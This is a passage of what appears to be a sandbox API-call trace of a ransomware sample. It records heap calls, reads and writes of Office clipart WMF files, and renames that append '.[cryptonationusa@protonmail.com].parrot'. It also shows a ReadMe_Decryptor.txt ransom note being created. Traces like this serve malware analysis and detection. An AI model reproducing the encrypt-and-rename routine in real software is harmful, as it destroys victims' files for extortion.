(HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0137.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0137.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0137.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0137.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0137.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0137.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0137.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0137.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0137.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0137.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0137.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0137.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0137.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0137.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0137.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0137.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0137.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0137.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x60ede8 [0137.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0137.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0137.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ede8 | out: hHeap=0x5b0000) returned 1 [0137.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a3268 [0137.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0137.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0137.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0137.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0137.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0137.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0137.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0137.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0137.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0137.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0137.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0137.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0137.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0137.304] WriteFile (in: hFile=0x288, lpBuffer=0x5cee60*, nNumberOfBytesToWrite=0x1448, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x5cee60*, lpNumberOfBytesWritten=0x18eed4*=0x1448, lpOverlapped=0x0) returned 1 [0137.306] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0137.306] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1444, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0137.306] CloseHandle (hObject=0x288) returned 1 [0137.306] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0137.306] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0137.306] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0137.306] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0137.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0137.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0137.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0137.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0137.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0137.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0137.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0137.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ecc8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0137.308] GetFileType (hFile=0x288) returned 0x1 [0137.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0137.319] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x12fc, nNumberOfBytesToLockHigh=0x0) returned 1 [0137.319] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0137.319] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0137.411] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.411] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11e4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x11e4, lpOverlapped=0x0) returned 1 [0137.412] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0137.412] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0137.412] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0137.412] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0137.412] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0137.412] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0137.412] GetLastError () returned 0x0 [0137.413] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.413] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0137.413] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0137.413] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0137.413] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0137.413] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0137.413] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0137.413] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0137.413] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0137.413] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0137.413] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0137.413] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0137.413] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0137.413] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0137.413] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0137.413] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0137.413] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0137.413] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0137.413] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0137.413] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0137.413] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0137.413] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0137.413] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0137.413] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0137.413] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0137.413] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0137.413] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x60ede8 [0137.413] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0137.413] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0137.413] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ede8 | out: hHeap=0x5b0000) returned 1 [0137.414] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a3268 [0137.414] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0137.414] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0137.414] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0137.414] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0137.414] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0137.414] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0137.414] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0137.414] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0137.414] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0137.414] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0137.414] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0137.414] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0137.414] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0137.414] WriteFile (in: hFile=0x288, lpBuffer=0x5cee60*, nNumberOfBytesToWrite=0x1308, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x5cee60*, lpNumberOfBytesWritten=0x18eed4*=0x1308, lpOverlapped=0x0) returned 1 [0137.415] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0137.415] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x12fc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0137.416] CloseHandle (hObject=0x288) returned 1 [0137.416] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0137.416] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0137.416] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0137.416] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0137.417] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0137.417] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0137.417] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0137.417] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0137.417] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0137.417] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0137.417] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0137.419] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c84, nNumberOfBytesToLockHigh=0x0) returned 1 [0137.419] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0137.419] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0137.421] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.421] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b6c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1b6c, lpOverlapped=0x0) returned 1 [0137.421] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0137.421] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0137.421] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0137.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0137.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0137.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0137.422] GetLastError () returned 0x0 [0137.422] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0137.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0137.422] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0137.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0137.422] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0137.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0137.422] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0137.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0137.422] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0137.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0137.422] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0137.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0137.422] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0137.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0137.422] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0137.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0137.422] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0137.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0137.423] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0137.423] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0137.423] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0137.423] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0137.423] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0137.423] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0137.423] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0137.423] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x60ede8 [0137.423] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0137.423] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0137.423] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ede8 | out: hHeap=0x5b0000) returned 1 [0137.423] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a3268 [0137.423] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0137.423] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0137.423] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0137.423] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0137.423] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0137.423] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0137.423] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0137.423] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0137.423] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0137.423] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0137.423] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0137.423] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0137.423] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0137.423] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0137.424] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0137.424] WriteFile (in: hFile=0x288, lpBuffer=0x639240*, nNumberOfBytesToWrite=0x1c88, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x639240*, lpNumberOfBytesWritten=0x18eed4*=0x1c88, lpOverlapped=0x0) returned 1 [0137.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0137.425] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c84, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0137.425] CloseHandle (hObject=0x288) returned 1 [0137.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0137.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0137.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0137.425] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0137.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0137.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0137.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0137.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0137.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0137.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0137.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0137.428] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1fdc, nNumberOfBytesToLockHigh=0x0) returned 1 [0137.428] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0137.429] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0137.430] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.430] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ec4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1ec4, lpOverlapped=0x0) returned 1 [0137.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0137.431] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0137.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0137.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0137.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0137.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0137.431] GetLastError () returned 0x0 [0137.431] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0137.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0137.431] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0137.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0137.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, 